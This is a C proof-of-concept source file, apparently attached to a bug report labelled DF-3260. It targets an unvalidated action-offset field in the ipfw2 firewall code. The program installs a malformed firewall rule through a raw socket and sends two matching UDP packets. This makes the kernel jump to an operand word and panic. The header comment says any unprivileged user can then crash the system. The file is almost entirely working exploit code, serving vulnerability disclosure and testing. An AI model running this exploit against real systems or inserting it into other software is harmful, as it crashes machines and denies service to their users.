DF-3260 / poc_misalign.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-3260 PoC 1 -- ipfw2 unvalidated act_ofs: deterministic kernel panic * ("-- unknown opcode 127") from the O_CHECK_STATE/O_PROBE_STATE action-walk * jump through ACTION_PTR() at sys/net/ipfw/ip_fw2.c:4207. * * Rule installed (root, raw socket setsockopt IP_FW_ADD): * cmd[0] = O_PROBE_STATE (len 1) * cmd[1] = O_IP_SRC (len 2, opcode=1) * cmd[2] = operand d[0] = inet addr of 127.0.255.255 = 0xffff007f * -> interpreted as insn: opcode 0x7f=127 (unknown), len 0 * cmd[3] = O_KEEP_STATE (len 1) * cmd[4] = O_ACCEPT (len 1) * cmd_len = 5, act_ofs = 2 <-- act_ofs points at the *operand* word, * never validated against the insn chain * * Packet 1 creates the keep-state entry; packet 2 (same flow) makes * O_PROBE_STATE jump to ACTION_PTR(rule) == &cmd[2] and dispatch on * opcode 127 -> panic(). * * After root installs the rule, ANY unprivileged user that emits the * matching flow triggers the panic. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> /* opcodes from sys/net/ipfw/ip_fw2.h */ #define O_IP_SRC 1 #define O_PROBE_STATE 36 #define O_KEEP_STATE 37 #define O_ACCEPT 43 #define IP_FW_ADD 50 struct ioc_rule { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t usr_flags; uint32_t set_disable; uint32_t static_count; uint32_t static_len; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; uint8_t reserved[16]; uint32_t cmd[64]; }; #define INSN(op, len, arg1) ((op) | ((len) << 8) | ((arg1) << 16)) int main(void) { struct ioc_rule r; struct sockaddr_in src, dst; int s, us, rc; ssize_t n; char buf[8]; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("raw socket"); exit(1); } memset(&r, 0, sizeof(r)); r.rulenum = 1000; r.cmd_len = 5; r.act_ofs = 2; /* OOB w.r.t. instruction chain: operand word */ r.cmd[0] = INSN(O_PROBE_STATE, 1, 0); r.cmd[1] = INSN(O_IP_SRC, 2, 0); /* 127.0.255.255 in network byte order: bytes 7f 00 ff ff * as an insn word (LE): opcode=0x7f(127) len=0x00 */ r.cmd[2] = htonl(inet_addr("127.0.255.255")) == 0 ? 0 : 0xffff007f; r.cmd[3] = INSN(O_KEEP_STATE, 1, 0); r.cmd[4] = INSN(O_ACCEPT, 1, 0); rc = setsockopt(s, IPPROTO_IP, IP_FW_ADD, &r, 60 + r.cmd_len * 4); if (rc != 0) { perror("IP_FW_ADD"); exit(1); } printf("[+] installed rule 1000 with act_ofs=2 (cmd_len=5)\n"); close(s); us = socket(AF_INET, SOCK_DGRAM, 0); if (us < 0) { perror("udp socket"); exit(1); } memset(&src, 0, sizeof(src)); src.sin_family = AF_INET; src.sin_port = htons(54321); src.sin_addr.s_addr = inet_addr("127.0.255.255"); if (bind(us, (struct sockaddr *)&src, sizeof(src)) != 0) { perror("bind 127.0.255.255 (adding alias)"); exit(1); } memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); /* discard */ dst.sin_addr.s_addr = inet_addr("127.0.0.1"); n = sendto(us, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)); printf("[+] packet 1 (state create): sendto=%zd\n", n); sleep(1); printf("[+] packet 2 (check-state jump to ACTION_PTR=&cmd[2])...\n"); n = sendto(us, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)); printf("[+] packet 2: sendto=%zd (no panic?!)\n", n); /* if we get here the kernel did not panic */ return 0; } |